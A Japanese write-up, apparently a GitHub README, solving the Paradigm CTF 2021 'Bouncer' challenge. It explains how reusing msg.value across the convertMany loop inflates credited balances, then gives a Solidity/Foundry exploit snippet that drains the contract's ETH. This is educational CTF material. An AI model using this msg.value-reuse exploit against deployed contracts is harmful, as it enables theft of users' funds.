Skip to content

Latest commit

 

History

History

Bouncer

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

Paradigm CTF 2021: Bouncer

SetupコントラクトのisSolved関数を見ると、bouncerのbalanceを0にすれば良いことがわかる。

まず、Setupコントラクトのconstructor()の処理を追っていく。

  • msg.valueは100 etherでないと駄目。
  • Bouncerコントラクトを、valueは50 etherとして作成する。
  • Bouncerコントラクトのコンストラクタでは、ownermsg.senderに設定する。
  • bouncerenter関数がWETHとETHそれぞれに対し呼ばれる。valueを1 ether、引数のamountを10 etherとしている。
  • enter関数は、valueが1 etherであることを強制しており、mapping(address => Entry[])entries変数に対して、entries[msg.value]Entry構造体の要素を追加している。

entriesとは?

  • function convert(address who, uint256 id) public payableで使われている。
  • convert関数は、entryで入金に対して、function proofOfOwnership(ERC20Like token, address from, uint256 amount) public payableを実行する。
  • proofOfOwnershipは、ETHであれば、msg.value == amountをチェックし、WETHであれば、transferFromwhoからBouncerコントラクトに実行して、それが成功するかをチェックする。
  • このconvert関数を複数回実行するconvertMany関数がある。

ここでconvertMany関数の内部で実行するconvert関数でmsg.valueを使いまわしでき、tokensに追加されるamountをかさ増しできることがわかる。

Bouncer bouncer = Bouncer(setup.bouncer());
uint initialBalance = address(bouncer).balance; 
uint amount = initialBalance + 2 ether;
bouncer.enter{value: 1 ether}(ETH, amount); 
bouncer.enter{value: 1 ether}(ETH, amount); 
vm.warp(block.timestamp + 1);
uint[] memory ids = new uint[](2);
ids[0] = 0;
ids[1] = 1;
bouncer.convertMany{value: amount}(playerAddress, ids); 
bouncer.redeem(ERC20Like(ETH), amount * 2);

Test:

forge test --match-contract BouncerExploitTest -vvvv